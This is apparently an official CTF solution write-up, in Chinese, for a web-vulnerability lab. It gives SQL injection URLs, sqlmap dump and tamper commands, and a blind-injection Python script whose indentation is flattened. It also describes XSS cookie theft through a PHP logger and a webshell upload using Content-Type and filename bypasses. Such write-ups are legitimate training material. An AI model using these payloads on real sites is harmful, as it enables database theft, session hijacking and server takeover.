Web漏洞实战官方题解
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
这个题目是Union型sql注入,没有进行任何过滤,可以通过sqlmap或者手注。
通过单引号截断sql查询语句:
可以利用and 1=2进行union注入,获取注入结果回显:
2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:
表名错误的话则查询不到数据:
列名类似,最终的POC:
http://10.3.242.167/hackit/question/sqli1/index.php?id=1' and 1=2 union select 1,flag from flag %23
得到:
如果使用sqlmap的话:
首先使用-u判断是否存在注入:
发现可以Union、布尔型、基于时间……于是,分别使用—dbs –tables –columns可以得到数据库名、表名、列名,最后用:
sqlmap.py -u "http://10.3.242.167/hackit/question/sqli1/index.php?id=1" -D one -T flag –dump
这个题目过滤了一些关键字,但是可以利用大小写混写进行绕过:
将and关键字用&&代替,注意要进行url编码,最后的payload如下:
http://10.3.242.167/hackit/question/sqli2/index.php?id=1' %26%26 1=2 UNion sElect 1,flag fRom flag %23
这个看泽哥注入的时候,发现可以利用—tamper=randomcase,使用sqlmap的随机大小写关键字脚本,直接也可以得到结果:
sqlmap.py -u "http://10.3.242.167/hackit/question/sqli2/index.php?id=1" --tamper=randomcase
后面的同第一个:
这个题目看源码可以发现把union整个给过滤了,所以只能通过Bool型盲注了:
通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为84,即’T’
写一个简单的盲注脚本:
# /usr/bin/python
#coding:utf-8
import requests
import re
import base64
import time
import binascii
want = ''
for i in range(1, 33):
number = str(i)
for ss in range(0x0, 0xff+1):
u = 'http://10.3.242.167/hackit/question/sqli3/index.php?id=1\' %26%26 exists(seLect flag From flag where ascii(substr(flag, ' + str(number) + ', 1))=' + str(ss) + ') %23' s = requests.Session()
c = s.get(u)
content = c.content
if 'look me!' in content:
print u
want = want + chr(ss)
print want
break
print want
运行脚本得到最后的结果:
反射型XSS和存储型XSS只在第一个页面进行了过滤,提交内容后进入第二个页面,这个页面并没有做过滤,因为是想让大家了解一下反射型XSS和存储型XSS的不同点以及XSS的简单利用(盗取cookie)。chrome浏览器对反射型xss 做了过滤,为了达到效果,特在Firefox下演示。
输入name后在第二个页面的输入框输fddf,效果如下图,说明插入的js脚本被成功执行。
接下来考虑盗取cookie。
本地web服务器下准备一个3.php文件,内容如下图,主要功能是接受传过来的参数,名为cookie,然后将其写到cookie.txt文件里面。
在第一个页面输入name后进入第二个页面中输入如下内容(如下语句的功
能其实就是请求上面的3.php,并把cookie作为参数传过去),
如下图所示,cookie.txt中已经有接受到的cookie。
我在后台把大家在 2.php中输入的内容存到了message.txt中,然后在message.php把内容读出来,这里是构造一种简单的存储型XSS场景,区别于反射型XSS中把2.php中输入的内容直接echo出来。
先在本地web服务器上准备一个3.php,内容跟上面一样,然后,在第一个页面输入name后(我这里输入name111,所以cookie的内容是name=name111)进入2.php,在2.php中输入:
访问message.php即可收到cookie。
这题是通过上传文件的类型来判断能否通过上传,传个php一句话,然后抓个包:
会提示上传出错,这里修改Content-type=image/jpeg,然后重放数据包:
这样就看到了第一枚flag,这里利用apache+windows的特性,针对”php ”或“php.”会保存成“php”,这里修改文件名为“1.php..”,然后重放数据包: